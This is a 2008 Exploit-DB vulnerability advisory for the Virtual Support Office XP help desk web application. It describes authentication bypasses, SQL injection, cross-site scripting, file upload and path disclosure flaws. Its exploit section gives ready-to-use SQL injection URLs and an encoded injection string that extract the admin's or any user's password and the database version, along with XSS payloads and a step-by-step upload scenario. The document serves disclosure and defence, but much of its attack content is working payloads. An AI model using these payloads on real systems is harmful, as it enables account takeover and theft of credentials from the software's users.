Virtual Support Office XP 3.0.29 - Multiple Vulnerabilities

EDB-ID:

5869

CVE:

N/A


Platform:

ASP

Published:

2008-06-20

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# Title: Virtual Support Office-XP Multiple Vulnerabilities.
# Vendor: www.vso-xp.com
# Vulnerable Version: 3.0.29, 3.0.27 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/47
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1. Description:
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    Virtual Support Office XP is Web Based Help Desk Software Solution which allows you to forge strong
    relationships and increase customer satisfaction, while dramatically streamlining support operations.
    With the VSO-XP application, customer service and support professionals have the tools they need to
    surpass the most ambitious quality-of-service or productivity goals you establish.

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2. Vulnerabilities:
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    2.1. Broken Authentication and Session Management. An attacker can have access to classified information. And see some of admin pages. such as:
"/admin/Companies.asp", "/admin/customfeild.asp" and "admin/EmailAccountsUpd.asp". The Last one is particularly important for she Change the Servers Name and Mail Box and Servers Port.

    2.2. Broken Authentication.An attacker can register (sign up) users at "/signup.asp" without any kind of supervision or disclosureing any kind of information-even submitting a true email address is not necessary-she can obtain her password by injection-see.

    2.3. Broken Authentication and Session Management. An attacker can make an admin user at "/admin/addressnew.asp".

    2.4. Injection Flaws. SQL Injection in "/admin/CustomFields.asp" in "Group_ID" parameter. By using it an attacker can obtain the password of any user she wishes-including admin's. She can also get other information such as version of the database and...
        2.4.1. Exploit:
                        Check the exploit section.
    2.5. Injection Flaws. SQL Injection in "/getpassword.asp" in"userID" parameter. By using it an attacker can obtain the password of any user she wishes.
        2.5.1. Exploit:
                        Check the exploit section.
    2.6. Injection Flaws. SQL Injection in "/admin/accountupd.asp" in "keyid" parameter.Classified information can be obtained.
        2.6.1. POC:
                        https://url/admin/accountupd.asp?keyid=1%20having%201=1
    2.7. Injection Flaws. SQL Injection in "/admin/clientupdreg.asp" in "Client_ID" parameter.
        2.7.1. POC:
                        https://url/admin/clientupdreg.asp?Client_ID=1%20having%201=1
    2.8. Injection Flaws. SQL Injection in "/admin/EmailAccountsUpd_process.asp" in "KeyID" parameter.
        2.8.1. POC:
                        https://url/admin/EmailAccountsUpd_process.asp?KeyID=1 order by 2
    2.9. Cross Site Scripting. There is a XSS in "/cases/case_search.asp" in search field.
        2.9.1. POC:
                        Insert  "><script>alert("mach BugReport.IR XSS");</script>
    2.10. Cross Site Scripting. There is a XSS in "/url/kb/kb_home.asp" in Search Field.
        2.10.1. POC:
                        Insert  "><script>alert("mach BugReport.IR XSS");</script>
    2.11 Cross Site Scripting. There is a XSS in "/downloads/search_folders.asp" in Search Fields.
        2.11.1. POC:
                        Insert  "><script>alert("mach BugReport.IR XSS");</script>
    2.12. Cross Site Scripting. There is a XSS in "/reports/MyIssuesReport.asp?id=336" in Report Title and Subject fields.
        2.12.1. POC:
                        Insert  "><script>alert("mach BugReport.IR XSS");</script>
    2.13. volunerable to file uploading and finding the phisical path to the file.
        2.13.1. Exploit:
                        Check the exploit section.
    2.14. Path disclosure.
        2.14.1 POC
                        https://url/admin/accountnew2.asp
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3. Exploits:
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    Original Exploit URL: http://bugreport.ir/index.php?/47/exploit
    Note1: Use Internet Explorer (IE) for best result.
    3.4.1 SQL Injection in "/admin/CustomFields.asp" in "Group_ID" parameter.
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            Obtain admin's password:
                https://[URL]/admin/CustomFields.asp?Group_ID=1%20union%20select%20PASSWORD,1,1,1,1,1%20from%20users%20where%20USERID=%20'admin'--
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            Get other information such as version of the database and...:
            https://[URL]/admin/CustomFields.asp?Group_ID=1union%20select%20@@version,1,1,1,1,1--
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    3.5.1 SQL Injection in "/admin/getpassword.asp" in "userID" parameter.
            Insert the following Code in burpproxy, in userID field, change ANYUSERID to your choice of userID and get the password!
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            obtain the password of any user she wishes:
            m%27%20or%201%20in%20%28select%20PASSWORD%20from%20users%20where%20USERID%3D%27ANYUSERID%27%29--
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    3.13.1 Scenario for file uploading and finding the physical path to the file.
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            Step1: Find the id of an existing folder easily at "/downloads/folders_root.asp?vsoxp_select=0"
            Step2: Go to "/downloads/createfile.asp?id=VALIDFOLDERID" and upload your file.
            Step3: Go back to step 1 and find your file?s ID.
            Step4: Go to "/downloads/openlink.asp?id=YOURFILEID" and see the physical address of your file at server!
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4. Solution:
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    Edit the source code to ensure that inputs are properly sanitized for XSSes and Injections, and wait for vendor patch.
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5. Credit:
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